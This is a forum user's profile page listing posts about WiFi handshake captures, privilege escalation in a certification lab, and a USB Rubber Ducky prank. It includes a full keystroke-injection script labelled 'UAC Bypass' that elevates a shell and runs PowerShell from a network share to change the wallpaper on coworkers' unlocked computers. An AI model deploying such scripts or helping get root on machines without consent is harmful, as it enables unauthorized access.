Jump to content

Crustymonkey

Active Members
  • Posts

    12
  • Joined

  • Last visited

Profile Information

  • Gender
    Male

Recent Profile Visitors

514 profile views

Crustymonkey's Achievements

Newbie

Newbie (1/14)

  1. So I have been playing with the site survey module and getting pretty good success with handshake captures. My question is that once I get the handshake I try to delete in the module but it does not delete. Any ideas how to delete old captures?
  2. (Might be best to be patient with replies. This is a pretty quiet board.) - I will keep that in mind. Thanks 've noticed that a longer initial delay helps with the driver issue. Usually about 4s does the trick, though it depends on the speed of the computer. It seems to me that if it tries to type while the drivers are still installing, it just skips it and will keep typing the rest of your script until that happens. Other than that, why not just plug it in again after the driver has installed? I will try a longer delay.... Thank you for your reply
  3. I have this Ducky Script that I pieced together and it changes the users desktop with powershell. It works well but when I install it into a new computer is starts to Install drivers then say USB is ready. Is their a way around that? REM *** UAC Bypass *** DELAY 2000 WINDOWS r DELAY 200 STRING powershell Start-Process cmd.exe -Verb runAs ENTER DELAY 500 ALT y DELAY 500 STRING powershell -ExecutionPolicy ByPass -noprofile -noninteractive -command "& {\\server\shared\wallpaper.ps1}" ENTER DELAY 200 STRING exit ENTER POWERSHELL SCRIPT Add-Type @" using System; using System.Runtime.InteropServices; using Microsoft.Win32; namespace Wallpaper { public enum Style : int { Tile, Center, Stretch, NoChange } public class Setter { public const int SetDesktopWallpaper = 20; public const int UpdateIniFile = 0x01; public const int SendWinIniChange = 0x02; [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)] private static extern int SystemParametersInfo (int uAction, int uParam, string lpvParam, int fuWinIni); public static void SetWallpaper ( string path, Wallpaper.Style style ) { SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange ); RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true); switch( style ) { case Style.Stretch : key.SetValue(@"WallpaperStyle", "2") ; key.SetValue(@"TileWallpaper", "0") ; break; case Style.Center : key.SetValue(@"WallpaperStyle", "1") ; key.SetValue(@"TileWallpaper", "0") ; break; case Style.Tile : key.SetValue(@"WallpaperStyle", "1") ; key.SetValue(@"TileWallpaper", "1") ; break; case Style.NoChange : break; } key.Close(); } } } "@ [Wallpaper.Setter]::SetWallpaper( '\\server\shared\quacked.bmp', 2 )
  4. Ya I know I can do that but when I am up walking around and pass a open workstation I would like to be able to pull out the Ducky and plug it and it changes the wallpaper.
  5. So I would like to walk around the office and see has left their computers open and then change their wallpaper to an image on a shared drive. Has anyone done that?
  6. Is there a way in Linux to search for all files that are set to execute as root? If so, what would be the command? Thanks
  7. My apologies. Again this is for testing purposes but I understand the rules.
  8. Hello all I know this questions was asked a few years but the OP decided not to post the solution for good reason. I just recently passed the written portion of the CPT exam and now I am working on the practical. The goal to get root on 2 Linux boxes. One is a CentOS that I was able to get 3 accounts including root. It was pretty easy. One of the user accounts worked on the second Linux box which is a Red Hat server running Linux Kernel 2.4.20-8. There are all kinds of services that show up on nmap but none seem to allow escalation of privileges. I tried a few kernel exploits like the sock_sendpage in metasploit but no joy. I then started reading up on SUID and thought that may be the direction to take. All I need to do it gain root on the Red Hat box or get a hold of the shadow file some how. Anyone willing to assist me with this? Thanks
  9. I know this is a year old but I need some help on this. I am at the same point as the OP but hit the wall.
×
×
  • Create New...